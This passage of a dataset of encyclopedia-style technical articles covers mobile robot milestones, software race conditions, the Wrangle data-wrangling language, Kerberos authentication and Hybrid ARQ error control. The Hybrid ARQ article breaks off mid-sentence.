danger levels and provide soldiers and first responders with real-time information. \n\n## Milestones\n\n1942\n\nDo you know that robots are used in World War II? Yes, this is the first time that robots are used in real-time war situations. These mobile robots are used as flying bombs to deploy bombs on enemies .\n\n\n1960\n\nIn the present era, we all know that robots can charge themselves when they ran out of power. But this technology was first implemented by Johns Hopkins University. The name of the robot that used this technology is \"Beast\". One more interesting fact is it uses sound waves to move around .\n\n\n1976\n\nTill 1976 robots are used in land and water applications. For the first time, NASA used a mobile robot in a space mission to Mars. The name of the program is Viking program .\n\n\n1989\n\nMark Tilden used simple analog circuits like comparators instead of microprocessors. He proved that robots can be in the simplest shapes and efficient in doing a task .\n\n\n1996\n\nAfter the Viking program, NASA used mobile robots again in its Mars Pathfinder mission. They used the robot in their rover Sojourner to explore the surface of Mars .\n\n\n1999\n\nSony designed a robot similar to a dog called Aibo. It is the first robotic dog designed by Sony. It is capable of seeing, walking and interacting with its environment .\n\n\n2002\n\nRobots are used in wars, on land and water applications, and in space too. Then iRobot organization invented a mobile robot for domestic applications. The name of the robot is Roomba .\n\n\n2005\n\nBoston Dynamics invented a quadruped robot that can carry heavy loads in terrain areas too .\n\n\n2016\n\nMobile robots are used in solving crimes too. US police used a mobile robot named MARCbot. The Multi-Function Agile Remote-Controlled Robot (MARCbot) helped the US police to kill a sniper who killed 5 police officers in Dallas, Texas which raises ethical questions regarding the use of drones and robots by police as instruments of lethal force against a perpetrator.","meta":{"title":"Mobile Robot","href":"mobile-robot"}}
{"text":"# Race Condition (Software)\n\n## Summary\n\n\nRace condition in software is an undesirable event that can happen when multiple entities access or modify shared resources in a system. The system behaves correctly when these entities use the shared resources as expected. But sometimes due to uncontrollable delays, the sequence of operations may change due to relative timing of events. When this happens, the system may enter a state not designed for and hence fail. The \"race\" happens because this type of failure is dependent on which entity gains access to the shared resource first. \n\nOne definition of race condition describes it as \"anomalous behavior due to unexpected critical dependence on the relative timing of events.\" This definition is broad in the sense that it can apply to both hardware and software race conditions. In software, race condition happens because of some shared resource whose access is not properly controlled by design.\n\n## Discussion\n\n### Can you give one example of race condition?\n\nSuppose a process calls a function that's supposed to increment a value (v) stored in a database or some shared memory. This operation is not atomic, meaning that it can be broken down into smaller steps. The function will read the current value from database (A), store it in memory as a function variable (B), increment it (C) and finally write the new value to database (D). This function's execution is therefore a sequence of steps A-D.\n\nRace condition will happen if process P1 calls this function and proceeds to step C. Meanwhile, it gets preempted by the operating system and another process P2 gets its chance to run. P2 calls the same function, completes all the steps A-D and returns. When P1 resumes, it continues from step C using an old value (v), not P2's result (v+1).\n\nRace condition would not have happened if P1 had completed all steps without preemption; or P2 had been prevented from executing the function until P1 had completed all steps.\n\n\n### How is it possible that my one-line code is causing a race condition?\n\nWhat appears as a single line in a high-level programming language, will actually translate to multiple assembly instructions that involve multiple clock cycles. The executing process or thread can therefore get interrupted anywhere along this sequence of assembly instructions. Thus, race condition is still possible.\n\nMicrosoft Support shows on its site how a single line of Visual Basic code such as `Total = Total + val1` translates to six assembly instructions for a x86-based processor. \n\n\n### What systems are prone to race conditions?\n\nBecause race condition is related to timing, it can happen in any system where multiple processes \"race\" to access a shared resource. Hence, it's not limited to just real-time systems. Any multithreaded or distributed system can have race conditions. \n\nHardware containing multicore CPUs, common in parallel computing, can suffer from race condition since multiple processes are running at the same time on multiple cores or CPUs. In networked systems, the channel can be considered as a shared resource and if two users attempt to access the shared channel race condition will lead to a packet collision. Network links that have large delays, such as satellite links, can cause race condition. Multithreaded applications are prone to race condition.\n\nWeb applications can suffer from race condition since multiple clients are sending requests in parallel to the web server, which may spawn multiple threads or processes to serve the requests. Even for a single user session, race condition is possible. For example, a web chat application may periodically send an AJAX request to check for the latest updates. At the same time, the user may create a new chat message.\n\n\n### Are there any best practices for avoiding race condition?\n\nThe usual solution to avoid race condition is to serialize access to the shared resource. If one process gains access first, the resource is \"locked\" so that other processes have to wait for the resource to become available. Even if the operating system allows other processes to execute, they will get blocked on the resource. This allows the first process to access and update the resource safely. Once done, it will \"release\" the resource. One of the processes waiting on the resource will now get its chance to access the resource. Code protected this way using locks is called **critical section**. The idea of granting access to only one process is called **mutual exclusion**.\n\nHaving large critical sections will affect performance. Such code may be refactored into smaller critical sections. In real-time systems or kernel code, another solution is to turn off interrupts when entering (and turn on when leaving) a critical section. \n\n\n### How to detect race condition in a program?\n\nThe first symptom is that results are unpredictable. In fact, the random nature of race condition poses a problem for debugging since under debug mode the race condition may not appear. For this reason, code reviews are recommended to catch race condition. This really implies that best way to avoid race condition is by careful design and not by testing and debugging. \n\nThere are tools that perform dynamic analysis and flag possible race conditions that may occur. Examples include Coverity's Thread Analyzer for Java and Intel Inspector. Clang Thread Safety Analysis is a static analysis tool to detect race condition. ThreadSanitizer is a data race detector written in C++ used by Clang and Go languages.\n\n\n### Do real-time operating systems (RTOS) have provisions to mitigate race conditions?\n\nThe common mechanism used to allow safe access to shared resource is called **mutex**, which is short for mutual exclusion. Any process entering a critical section will first acquire the mutex. Other processes wanting access to the critical section will get blocked. The owning process will give up the mutex when leaving the critical section. \n\nWhat separate mutexes from semaphores is the concept of ownership. A mutex can be released only by its owner. This is not so with semaphores that can be used for signalling state change and synchronization from one thread to another. While it's possible to use semaphores to protect critical sections, they come with their own set of problems such as accidental release, recursive deadlock, task-death deadlock, and priority inversion. Mutexes are therefore a better solution. \n\n\n### Are there different types of race conditions?\n\nNetzer and Miller make this distinction: \n\n    + **General races**: Programs designed to be deterministic behaving in nondeterministic manner.\n    + **Data races**: Failure with accessing nonatomic critical sections in nondeterministic programs.They also claim that debugging data races is easier since it's local to the critical section. General races require analysis of entire execution to understand exactly how the expected deterministic behaviour deviated.\n\nA data race need not result in a race condition in the sense that program correctness is not compromised. A race condition that's not a data race implies a general race, for which the accompanying figure is an example. \n\n\n### Can you give examples of products that failed due to race conditions?\n\nTherac-25 was a software-controlled radiation therapy machine used in the 1980s. Six patients were overdosed and some died. Race condition was one of many reasons for the system's failure. Shared variables were accessed by both data entry subroutine and magnet control subroutine. When a race condition occurred, the magnet control subroutine failed to read new settings by the operator.\n\nIn August 2003, Northeastern parts of North America suffered a massive blackout. \"There was a couple of processes that were in contention for a common data structure, and through a software coding error in one of the application processes, they were both able to get write access to a data structure at the same time. And that corruption led to the alarm event application getting into an infinite loop and spinning.\" \n\nNASA's Mars Spirit Rover suffered a race condition whereby an initialization process could not obtain write access to a variable. An exception occurred. In another case, an imaging module was attempting to read from memory while a deactivation process was also triggered. Other problems, possibly involving race condition, have been reported. \n\n\n### Can race conditions be useful?\n\nRace conditions are something software designers wish to avoid. But some researchers have attempted to show that they can be used to generate random numbers. This is dependent on the operating system's scheduler, which by itself is not random. Randomness is obtained by triggering context switches based on \"execution environment, cache misses, the instruction execution pipeline and the imprecision of the hardware clock used to generate timer interrupts.\" \n\n## Milestones\n\n1954\n\nIn an early use of the term \"race condition\", Huffman notes in his thesis that this can occur in sequential switching circuits. This is a case of race condition in hardware. \n\n1965\n\nDutch computer scientist Dijkstra introduces the concept of **semaphores** as a tool to prevent race conditions in software. However, semaphores have limitations and don't completely eliminate race conditions. \n\n1968\n\nIn describing *THE Multiprogramming System* developed for a Dutch machine called EL X8, Dijkstra explains how semaphores can be used to enable mutual exclusion on critical sections. In an example, he names a semaphore as \"mutex\". However, this is just a semaphore. It's quite different from the concept mutexes that take shape in the 1980s. \n\n1988\n\nThe concept of **mutex** is developed in the late 1980s. The exact history of mutexes is uncertain. They probably came about in the course of specifying the IEEE Std 1003.1, often known as POSIX. This standard is first released in 1988. At this date, it mentions semaphores but not mutexes. Mutexes probably got introduced into the standard in the 1990s.","meta":{"title":"Race Condition (Software)","href":"race-condition-software"}}
{"text":"# Wrangle (Language)\n\n## Summary\n\n\nReal-world data is messy. Before we can do any useful analysis on data, we need to clean or format it in a manner that's acceptable to data analysis or visualization tools. This process is often called **data wrangling**. We can do this interactively but it's better to record all actions into a script or write a custom program. This will help us document how the data was wrangled and also repeat the process with new data.\n\nWrangle is a proprietary language for automating the task of data wrangling. It's owned and managed by Trifacta. Once wrangled, data can be exported in CSV or JSON formats, which are supported by most analysis or visualization tools.\n\nThe essence of Wrangle is this: \n\n> Spend less time fighting with your data and more time learning from it.\n\n## Discussion\n\n### In Wrangle, what are transforms, functions and recipes?\n\nHere are the three essentials aspects of Wrangle: \n\n    + **Transform**: This is an action that modifies the dataset in a specific way. Typically, a dataset is in table format with rows and columns. Transforms accept parameters to set the context in terms of rows, columns or conditions. Examples include deduplicate, delete, derive, drop, extract, filter, flatten, nest, pivot, replace, etc.\n    + **Function**: Like in any programming language, a Wrangler function is a computation unit. It works on one of more columns of data. Functions can be passed as parameters to transforms. There are lots of functions that are usually organized into function categories such as aggregate (COUNT, MAX), logical (AND, OR), comparison (ISODD, LESSTHAN), math (DIVIDE, SQRT), date (DATEADD, NOW), string (LOWER, FIND), nested (ARRAYCONCAT, LISTSUM), type (IFNULL, ISMISSING), window (FILL, ROLLINGSUM), and others (RAND, RANGE).\n    + **Recipe**: This is a sequence of transforms applied to a dataset.It's common to name transforms in lowercase and functions in uppercase. Transforms and functions are the building blocks from which powerful recipes can be built.\n\n\n### Could you describe the Wrangle syntax with some examples?\n\nWrangle transforms follow the general syntax of the transform's name followed by optional parameters: `(transform) param1:(expression) param2:(expression)`. Let's look at a few examples to understand this.\n\nTo create a new column called \"circumference\" based on another column of values named \"diameter\", we can apply the `derive` transform: `derive type:single value: (3.14159 * diameter) as: 'circumference'` \n\nTo create a column of Boolean values indicating big orders, we can use the `derive` transform: `derive type:single value:IF(order > 1000000, true, false) as:'bigOrder'` \n\nBy passing a regular expression parameter to the `replace` transform, we can delete last two digits from \"qty\" column: `replace col: qty on: /^\\d$|^\\d\\d$/ with: '' global: true` \n\nSuppose a column named \"myCol\" is in the format of key-value pairs, such as `{\"brand\":\"Subaru\",\"model\":\"Impreza\",\"color\",\"green\"}`. We can separate this into three columns using the `unnest` transform: `unnest col:myCol keys:'brand','model','color'` \n\nWe can use `filter` transform to keep only rows that match a specific condition: `filter row: (row_number >= 25 && firstName == 'Steve') action: Keep`\n\n\n### Which data types are supported in Wrangle?\n\nBasic data types include `String`, `Integer`, `Decimal`, and `Boolean`. String size is limited by size of a row of data, which is about 1 MB. Integers can be safely used within the range (-2^53 + 1) to (2^53 - 1). Decimals are limited to 15 floating point digits. It's not clear if these are limits of the Wrangle language or the Trifacta Wrangler family of products.\n\nOther data types include Social Security Number, Phone Number, Email Address, Credit Card, Gender Data, Zip Code, State, IP Address, URL, HTTP Code and Datetime. However, some of these won't be useful for non-U.S. data. \n\n`Array` type can be used to group together a sequence of values. Arrays can be *nested*; that is, an array containing another array. Arrays can be *ragged*; that is, the number of items in an array can vary from one data record to the next. \n\nTo store key-value pairs, we can use the `Object` type. This can also be nested like in arrays but there's no ordering of items within the type. \n\n\n### What are some concerns about the Wrangle language?\n\nWrangle language is not an open standard. It's owned and managed by Trifacta. It's supported in Trifacta's Wrangler family of products. It's also available within partner products such as Google's Cloud Dataprep. While learning the language is useful, it's not essential since these products often generate the language syntax for the user via contextual suggestions and steps. \n\nBecause it's not open, there's a vendor lock-in. This means that any data preparation workflows that you build with Wrangle can't be reused when you move to another platform. For example, AWS has its own tool for data preparation called *Glue*. ETL workflows can be programmed in Glue using Python, PySpark extensions and Scala. However, anything written in Wrangle can't be reused in AWS. Only the wrangled data can be exported and imported into other tools or platforms.\n\n## Milestones\n\n2001\n\nResearchers from UC Berkeley publish a paper titled *Potter’s Wheel: An Interactive Data Cleaning System*. They identify a number of transforms that can help with data wrangling. \n\nMay  \n2011\n\nLed by researchers at the Stanford Visualization Group, a paper titled *Wrangler: Interactive Visual Specification of Data Transformation Scripts* is published. While the tool is visual and interactive in nature, the paper also talks about a **declarative transformation language** that has evolved along with the tool. Among the transforms supported are delete, extract, cut, split, lookups, joins, fold, unfold, fill, lag; plus sorting and aggregating functions such as sum, min, max and mean. \n\nFeb  \n2014\n\nStanford's Wrangler is commercialized with the release of *Data Transformation Platform*. An alpha version of this was available back in April 2013 and the company behind it, Trifacta, itself was founded in 2012. \n\nOct  \n2015\n\nTrifacta releases **Wrangler**, a free desktop application for data wrangling. The has limited features compared to the commercial offering that's renamed to **Trifacta Wrangler Enterprise**. \n\nMar  \n2017\n\nGoogle launches **Cloud Dataprep** for data preparation in the cloud. Under the hood, it makes use of Trifacta Wrangler Enterprise along with the Wrangle language. \n\nApr  \n2018\n\nTrifacta Wrangler is released as a cloud product. The desktop version will no longer be updated and cease operation (implying data loss) in August 2019. \n\nMar  \n2019\n\nNew functions are introduced including ARRAYINDEXOF, ARRAYRIGHTINDEXOF, ARRAYSLICE and ARRAYMERGEELEMENTS. \n\nMay  \n2019\n\nFunctions RANK and DENSERANK are introduced.","meta":{"title":"Wrangle (Language)","href":"wrangle-language"}}
{"text":"# Kerberos\n\n## Summary\n\n\nKerberos is a network authentication protocol for client-server applications based on cryptographic keys. It's used in Windows 2000, Windows XP and Windows Server 2003 and later systems. Because it's an open standard, it can also used by non-Windows systems. \n\nUnlike password-based authentication systems, passwords are never sent over the network. Kerberos authenticates by verifying identities of users and servers within a trusted environment. As such, Kerberos is inaccessible for outsiders. Once authenticated, the user or client can access multiple services without needing to authenticate again for each service. Encrypted tickets are used instead of passwords. \n\nSecurity aspects covered by Kerberos include authentication, access control, and key exchange.\n\n## Discussion\n\n### What are some essential Kerberos terms that a beginner should know?\n\nHere are some essential Kerberos terms: \n\n    + **Principal**: This is a unique identity. Because Kerberos supports mutual authentication, both users and network resources have principals.\n    + **Realm**: Called *domain* in Windows, this is a logical grouping of resources and identities.\n    + **Ticket**: Ticket is an encrypted block of data that authenticates the user. Because of tickets, we don't need to transmit clear passwords over the Kerberos infrastructure. Tickets come with a configurable time expiry.For example, `jdoe@SALES.WIDGET.COM` is a principal for user `jdoe` within the realm `SALES.WIDGET.COM`. It's quite possible for users to have multiple principals in different realms with different access rights. Another example is users enter the system in one realm and access resources in other realms. \n\n\n### Could you give an overview of the Kerberos' authentication flow?\n\nCentral to Kerberos is the **Key Distribution Center (KDC)** that has a **database** of trusted principals, the **Authentication Service (AS)**, and the **Ticket-Granting Service (TGS)**.\n\nWhen a user logs into a client machine, she supplies a password. To gain access to network services, Kerberos protocol is invoked to authenticate the user. However, network services don't do the authentication on their own. KDC (and its AS) is the trusted third party that does this. The user's principal, and not the password, is sent to the KDC. KDC checks this against its database, authenticates the user and sends back the Ticket-Granting Ticket (TGT). All this happens transparent to the user when she logs in or invokes the `kinit` command. \n\nWhen the client wants to access a service, it presents the TGT to the TGS, which generates service session key and a service ticket containing this key. Whenever client wants, it presents the service ticket to the service. The client and the service can now start communicating, with all communication encrypted with service session key. \n\n\n### What are the different tickets used in Kerberos?\n\nKerberos has essentially two tickets. One is issued by the AS during authentication. The other is issued by the TGS when a service is requested.\n\nAS issues the **Ticket Granting Ticket (TGT)**. TGT is a ticket to tell the TGS that the client has already been authenticated. \n\nTGS issues the **Service Ticket** after validating the TGT. This enables the client to access a service. Service ticket contains client's IP address, timestamp, and the service session key. \n\nBoth tickets are encrypted. Although the client is in possession of these tickets, it can't read them. The TGT is meant for the TGS. The service ticket is meant for the service provider. \n\n\n### What are the different keys used in Kerberos?\n\nThe following keys are used in Kerberos: \n\n    + **Principal Key**: Based on the principal's password, this encrypts the TGT and the session key between client and AS.\n    + **Session Key**: This is generated by the KDC during authentication and sent to the client. This is used to encrypt communication between client and TGS. In particular, TGT, service ticket request, service ticket, and service session key are encrypted using this.\n    + **Ticket Granting Service (TGS) Key**: This encrypts the TGT. The TGS uses this key to decrypt the TGT. TGS then checks that TGT hasn't expired and generates the service ticket and service session key.\n    + **Service Key**: This encrypts the service ticket. It's available within the KDC and also with the service provider.\n    + **Service Session Key**: This is used to encrypt all communication between the client and the service. This is generated in the TGS.\n\n### What are the main advantages of using Kerberos?\n\nHere are some advantages of Kerberos:\n\n    + **Mutual Authentication**: Client and server authenticate each other. This protects clients from connecting to a bogus server.\n    + **Open Standard**: It's based on RFC 4120. Non-Windows systems that implement this RFC can also use Kerberos.\n    + **Delegation**: Also called *authentication forwarding*, a service can access remote resources on behalf of the client using the client's identity.\n    + **Smart Card Logon**: Beyond password logon, two-factor authentication using a smart card and PIN is possible.\n    + **Passwords & Keys**: User passwords are never sent over communication links. Eavesdroppers can't get hold of passwords. Secret keys are sent only in encrypted form. There's support for both symmetric and asymmetric keys.\n    + **Encrypted Sessions**: Service session key shared between the client and a service can be used to encrypt all conversation pertaining to the service.\n    + **Integrated Sessions**: Once authenticated, client can access a service without having to re-authenticate, until the ticket expires.\n    + **Renewable Sessions**: After the first session, subsequent sessions are setup faster. Server authenticates the client immediately without involving the KDC.\n\n### What's the difference between Kerberos impersonation and delegation?\n\nClients are authorized to access certain services but the services themselves run in a different security context, such as on a different thread, process or machine. Services acquire client credentials (such as service tickets) and use these to obtain resources on behalf of the clients. In some sense, services therefore impersonate the clients they serve.\n\nThere are four impersonation levels: anonymous, identify, impersonation and delegation. If the service is on the same computer as the client process, it can impersonate the client to access network resources. If the service is on a remote computer, it can impersonate the client for accessing resources on the service's computer. With delegation, the service can impersonate the client even when accessing resources on another computer. \n\nLet's assume that a user requests data via a web server but the data resides on a different database server. The web server delegates to the database server to obtain necessary data from the database. Within the security context of the database server, which accesses the database on the same machine, we can say that impersonation happens.  \n\n\n### How is Kerberos related to GSSAPI?\n\n**Generic Security Service API (GSSAPI)** is a standard interface, defined by RFC 2743, that provides a generic authentication and secure messaging interface. Multiple security mechanisms can be plugged in so long as they conform to GSSAPI. IETF has defined two mechanisms: **Kerberos V5** via RFC 1964 and **Simple Public Key Mechanism (SPKM)** via RFC 2025. \n\nGSSAPI is an abstraction that must be accompanied by a security mechanism. The advantage is that applications are not tied to a particular mechanism. Migration is possible, such as, from SPKM to Kerberos V5. In fact, an implementation might support multiple mechanisms and applications can choose the mechanism at runtime. However, both client and server must negotiate to use the same mechanism. \n\nGSSAPI was designed with the following goals: \n\n    + **Mechanism independence**: Applications need not concern with the security mechanism such as the type of cryptographic keys used.\n    + **Protocol environment independence**: API is not tied to particular communications protocol.\n    + **Protocol association independence**: A single API implementation can be used by different application modules that possibly use different communications protocols.\n\n### What are some limitations of Kerberos?\n\nKerberos is only as secure as the passwords being used. Weak passwords make the system vulnerable to brute force attacks. During protocol use, encryption keys are stored in memory in unencrypted form. Kerberos can't do anything about compromised user endpoints, authentication servers or KDC. If the authentication server is down, new users can't login. *Pass the Ticket* attack involves getting access to a ticket, moving laterally within the network and gaining access to critical systems. \n\nKerberos has strict timing requirements. Usually Network Time Protocol (NTP) daemons are used for clock synchronization. NTP therefore becomes a dependency. \n\nIf each service requires a different host name, each must use its own keys. This complicates deployment of virtual hosting and clusters. Kerberos works in a trusted environment and therefore hard to use on the public Internet where untrusted or unknown clients may want to connect. \n\nKerberos has worked well within the enterprise but hasn't been adopted in the cloud. A Kerberos ticket contains an encrypted key that could be hacked. Cloud services prefer to use SAML 2.0, OAuth 2.0 or OpenID Connect. In fact, cloud services have been poor in adopting identity federation standards. \n\n## Milestones\n\n1978\n\nResearchers Roger Needham and Michael Schroeder invent a protocol based on symmetric keys. This protocol aims to securely establish session keys between two parties to protect further communication. \r The **Needham–Schroeder symmetric key protocol** forms the basis for Kerberos. \n\n1983\n\nAt MIT, Project Athena is launched with the goal of creating a distributed computing environment for educational purposes. The idea is to have thin clients and let servers do the demanding computations. As part of this project, **Kerberos** is invented for authentication and single sign-on. \n\n1988\n\nAt the Usenex conference, the Kerberos v4 protocol is described for the first time. This makes Kerberos one of the oldest authentication protocols since many others come years later: SAML (2002), WS-Federation (2003), OAuth2 (2010) and OpenID Connect (2014). Versions 1-3 of the protocol remained internal to MIT. \n\nJan  \n1989\n\n**Kerberos v4** is released. It uses DES for encryption. Due to export restrictions, Kerberos can't be used outside the U.S. An alternative implementation from Sweden called **KTH-KRB** is released years later for non-U.S. markets. However, v4 has limitations: weak DES encryption, misuse of PCBC mode of DES, ticket lifetime can't be longer than about 21 hours, delegation not supported. \n\n1993\n\n**Kerberos v5** is released and standardized by IETF as RFC 1510. It overcomes many limitations of v4. It uses ASN.1 syntax. It adds new modes for DES. AES encryption is supported. Ticket lifetimes are much longer. Delegation is supported. It allows for unkeyed checksums (CRC, MD5, SHA-1) and keyed checksums (HMAC with MD5 or SHA-1). This is also the year when Microsoft decides to adopt Kerberos in its products. \n\n1999\n\nMicrosoft releases Windows Server 2000 with Kerberos as the default authentication protocol, thus replacing NTLM. There's no separate KDC database. Instead, information comes from Active Directory (AD). With the subsequent growth of AD and AD-enabled apps, use of Kerberos grows.\n\n2005\n\n**RFC 4120** clarifies many aspects of the v5 protocol and obsoletes the earlier RFC 1510 of 1993. **GSS-API** specification is also released as RFC 4121. \n\n2007\n\n**MIT Kerberos Consortium** is formed for the continued development and promotion of Kerberos in a more open manner rather than being internal to MIT. For some time, this is renamed to MIT Kerberos & Internet Trust Consortium or MIT-KIT, but later this name is retired.","meta":{"title":"Kerberos","href":"kerberos"}}
{"text":"# Hybrid ARQ\n\n## Summary\n\n\nA typical communication channel has imperfections. Packets get lost or corrupted. When the receiver detects errors, it discards the erroneous packet and requests the sender to retransmit it. This is called **Automatic Repeat Request (ARQ)**. Error detection is usually done using Cyclic Redundancy Check (CRC) bits. \n\nHowever, if errors are within certain limits, the receiver can not only detect but also correct errors. This is possible if the sender employs Error-Correcting Codes (ECCs). These include parity bits that help in correcting errors in information bits. The technique is called **Forward Error Correction (FEC)**. FEC avoids ARQ retransmissions but parity bits are an overhead. \n\nHybrid ARQ is a technique the combines both ARQ and FEC. Packet errors are corrected where possible. Where not possible, retransmission is requested. First and subsequent packet transmissions are combined to increase the chance of correct decoding.\n\n## Discussion\n\n### What's the typical HARQ processing pipeline?\n\nThe pipeline starts with a packet of information bits coming into the sender's HARQ entity. CRC bits are added to the information bits. Then an FEC encoder uses an ECC and maps its input to a codeword. Multiple such codewords are buffered and interleaved to protect against channel burst errors. Interleaving distributes such errors across codewords so that there's greater chance of recovering all packets. Interleaved bits are finally modulated for transmission on the channel. Modulation type and order are selected according to recent channel conditions. \n\nAt the receiver, the demodulation and deinterleaving are followed by HARQ operation. FEC decoder uses either soft or hard decision decoding. It maps its input to closest valid codewords. A CRC check determines if the FEC decoder has got it right. If CRC check fails, a retransmission is requested. \n\nCombiner at the receiver combines all transmissions of the packet so that FEC has a better chance of decoding the packet correctly. Sender and receiver buffers are for retransmission and combining respectively. \n\n\n### How is Chase Combining different from Incremental Redundancy?\n\nThere are two basic ways in which multiple transmissions of a packet can be combined at the receiver. The simpler method is Chase Combining (CC) in which all transmissions contain the same information and parity bits. Each transmission therefore adds to the overall packet energy.\n\nIncremental Redundancy (IR) is a method in which each retransmission pertains to the same information bits but contains a different subset of information and parity bits. Parity bits are also called redundancy bits. IR is therefore about progressively sending more of these bits to help the FEC decoder. Like CC, IR retransmissions add to the overall packet energy. More importantly, IR retransmissions decreases the code rate since each retransmission increases the redundancy. Implementing IR is more complex than implementing CC.\n\nIn poor channel conditions (low SNR), CC does well but when the channel is good, parity bits take up bandwidth unnecessarily. IR is a better method since more parity bits are sent only when needed. IR's first transmission can even include only information bits. \n\n\n### What are the different types of HARQ?\n\nResearchers refer to three types of HARQ:   \n\n    + **Type-I**: In the simplest case, errors are corrected if possible. Otherwise, erroneous packets are discarded and retransmission is requested. In an alternative case, all packet transmissions are buffered and combined using Maximal Ratio Combining (MRC). The latter case is basically CC.\n    + **Type-II**: This is basically IR in which different redundancy bits are sent with each retransmission. This can be realized via bit puncturing that effectively changes the code rate over all transmissions.\n    + **Type-III**: In Type-II, apart from first transmission, more than one buffered version of the packet is required for decoding. In Type-III, each transmission is *self-decodable*. Bits common to transmissions can be chase combined. This is also called *partial IR* since each retransmission includes more redundancy bits.Some use the term Repetition Redundancy (RR) instead of Chase Combining. Chase Combining has also been called Packet Combining while Incremental Redundancy has been called Code Combining in literature. \n\nARQ protocols called Stop-and-Wait, Go-Back-N and Selective Repeat are applicable to HARQ.  \n\n\n### What's the difference between truncated and persistent HARQ?\n\nIn really bad channel conditions, many HARQ retransmissions may be needed. If there's no limit on the number of retransmissions, we call it **persistent HARQ**. Otherwise we call is **truncated HARQ**.  Truncated HARQ is preferred for real-time applications. The maximum can be selected based on throughput efficiency, packet delay, packet drop rate and buffer space requirements. \n\nSome systems may specify a deadline or maximum time limit for the retransmissions. Past this deadline, the packet is dropped and retransmissions are stopped. This is called **time-truncated HARQ**. \n\n5G New Radio doesn't specify a limit on the number of retransmissions.  However, such a limit may be provided by the network equipment vendor and operator configurable. Kawser et al. have proposed truncated HARQ for 4G/LTE for UEs with poor downlink reception. \n\n\n### What's the difference between synchronous and asynchronous HARQ?\n\nWith synchronous HARQ, the timing is regular and known in advance. For example, the time between a packet transmission and its ACK/NACK could be fixed. The time between a NACK and the next retransmission could be fixed. \n\nWith asynchronous HARQ, timing is configurable and highly dynamic. Scheduling can be based on current channel conditions and resource requirements. Asynchronous HARQ requires additional signalling compared to synchronous HARQ. \n\n5G NR uses asynchronous HARQ since 5G already has a highly dynamic TDD frame structure. Moreover, 5G can operate in unlicensed spectra where resources can't be assigned in advance to support synchronous HARQ. \n\n\n### What's the difference between non-adaptive and adaptive HARQ?\n\nWith **non-adaptive HARQ**, the modulation and coding remains the same across all transmissions of a packet. With **adaptive HARQ**, these can change. For example, the first transmission might have used 16-QAM but if channel quality is seen to have worsened, subsequent retransmissions could you QPSK with more radio resources allocated to accommodate the packet in the lower modulation. \n\nAdaptive HARQ is more common in wireless systems due to the time-varying nature of wireless channels. Adaptation depends on channel feedback from the receiver. Transmission power, modulation, code rate, bandwidth, packet length, maximum number of retransmissions, and allocated resources are some aspects that can be adapted. There are many techniques in adaptive HARQ but their objectives may differ: throughput, delay, spectral efficiency, power or reliability. \n\nIt's been shown that adaptive truncated HARQ is a robust approach for real-time applications. \n\n\n### What codes are suitable for detecting or correcting errors in HARQ?\n\nError detection is commonly done using using Cyclic Redundancy Check (CRC) bits. These are computed based on and appended to the information bits. CRC is often implemented in hardware using Linear Feedback Shift Registers (LFSRs). CRC field is typically 8-64 bits long. Since this overhead reduces overall system capacity, CRC-free alternatives to error detection have been researched. However, 4G, 5G and Wi-Fi standards have adopted CRC. \n\nError-Correcting Codes (ECCs) for HARQ are typically Turbo Codes, Turbo Product Codes (TPCs), Low Density Parity Check (LDPC) Codes, and Polar Codes. At least for HARQ, these have replaced an older generation of ECCs such as convolutional, Bose–Chaudhuri–Hocquenghem (BCH) and Reed-Solomon (RS) codes. \n\n\n### How have different wireless communication protocol standards adopted HARQ?\n\nHARQ is widely adopted in major wireless systems: \n\n    + **3G/UMTS**: Asynchronous downlink HARQ. Synchronous uplink HARQ. Stop-and-Wait HARQ with up to 8 parallel processes. Supports both CC and IR.\n    + **CDMA2000**: Similar to 3G/UMTS but up to 4 processes and maximum of 3 retransmissions.\n    + **4G/LTE**: Similar to 3G/UMTS with 8 processes in FDD and 1-15 processed in TDD. Maximum number of retransmissions can be configured. Uplink HARQ is typically non-adaptive but can be made adaptive. TTI bundling of up to 4 TTIs allows UEs to transmit all redundancy versions without waiting for feedback. HARQ operates at MAC and PHY layers.\n    + **5G**: Asynchronous and adaptive in both downlink and uplink. Up to 16 parallel processes, each using Stop-and-Wait.\n    + **WiMAX**: Supports both CC and IR. Up to 16 parallel processes each in uplink and downlink, each using Stop-and-Wait. Maximum of 4 retransmissions. Asynchronous adaptive downlink HARQ. Synchronous adaptive downlink HARQ but default operation is non-adaptive HARQ.\n    + **IEEE 802.15.4**: HARQ Type-I. Maximum of 0-7 retransmissions with 3 as default. Retransmissions also have a timing constraint.\n    + **Bluetooth**: Synchronous HARQ Type-I.\n\n### What are some research initiatives on HARQ?\n\nAdaptive Cross-Packet HARQ (XP-HARQ) is a technique that varies the number of bits with each retransmission. A retransmission can contain bits from two packets and joint decoding happens at the receiver. Sender selects codebooks based on current channel conditions. \n\nCooperative HARQ is where retransmissions can happen from a neighbouring node that managed to receive the first transmission correctly. This gives spatial diversity gain at the intended receiving node. A similar but more sophisticated idea encodes packets meant for different receiving nodes into each retransmission. This is called Network Coded HARQ (NC-HARQ). \n\nDesigning HARQ for IoT presents new challenges. IoT devices send short packets and are often battery powered. Some IoT applications require high reliability and low delay. Type-II HARQ outperforms Type-I HARQ though the latter is simpler to implement. \n\nWi-Fi uses only ARQ though there have been proposals to introduce HARQ. HARQ is being researched in many other areas as well: 5G's URLLC and mMTC use cases, Cloud RAN, NOMA and Cognitive Radio. \n\n## Milestones\n\n1940\n\nVan Dureen introduces the **first electronic retransmission** scheme to telegraphy. His method incorporates error detection via even parity. The term \"automatic repeat request\" itself appears in 1957. In 1961, Van Dureen publishes one of the earliest performance analysis of ARQ. By early 1960s, the term ARQ is widely accepted. \n\n1960\n\nAt the Fourth London Symposium on Information Theory, Wozencraft and Horstein propose HARQ, although they don't use the term \"HARQ\". In a subsequent MIT Technical Report, they state, \"The system is somewhat similar to human communication, in that typical errors are corrected, while grievous ones initiate a request for retransmission.\" \n\n1974\n\nMandelbaum proposes **Incremental Redundancy** in which the first transmission contains a punctured codeword. If in error, each subsequent retransmission brings another increment of redundant bits until the receiver can successfully decode the packet. \n\n1977\n\nSindhu proposes a a modification of ARQ in which erroneous packets are buffered at the receiver and later combined with retransmissions to improve the decoding. He calls this **ARQ-with-Memory (MRQ)** and the decoding procedure as Redundancy Repetition Error Correction (RRC). Essentially, this is packet combining or Type-I HARQ with hard-decision decoding. \n\n1981\n\nLin and Yu propose the use of two block codes, \\(C\\_0\\) for only error detection and \\(C\\_1\\) for both error correction and detection. In their method, transmissions alternate between message bits and \\(C\\_0\\) parity bits, and \\(C\\_1\\) and \\(C\\_0\\) parity bits. Wang and Lin improve this in 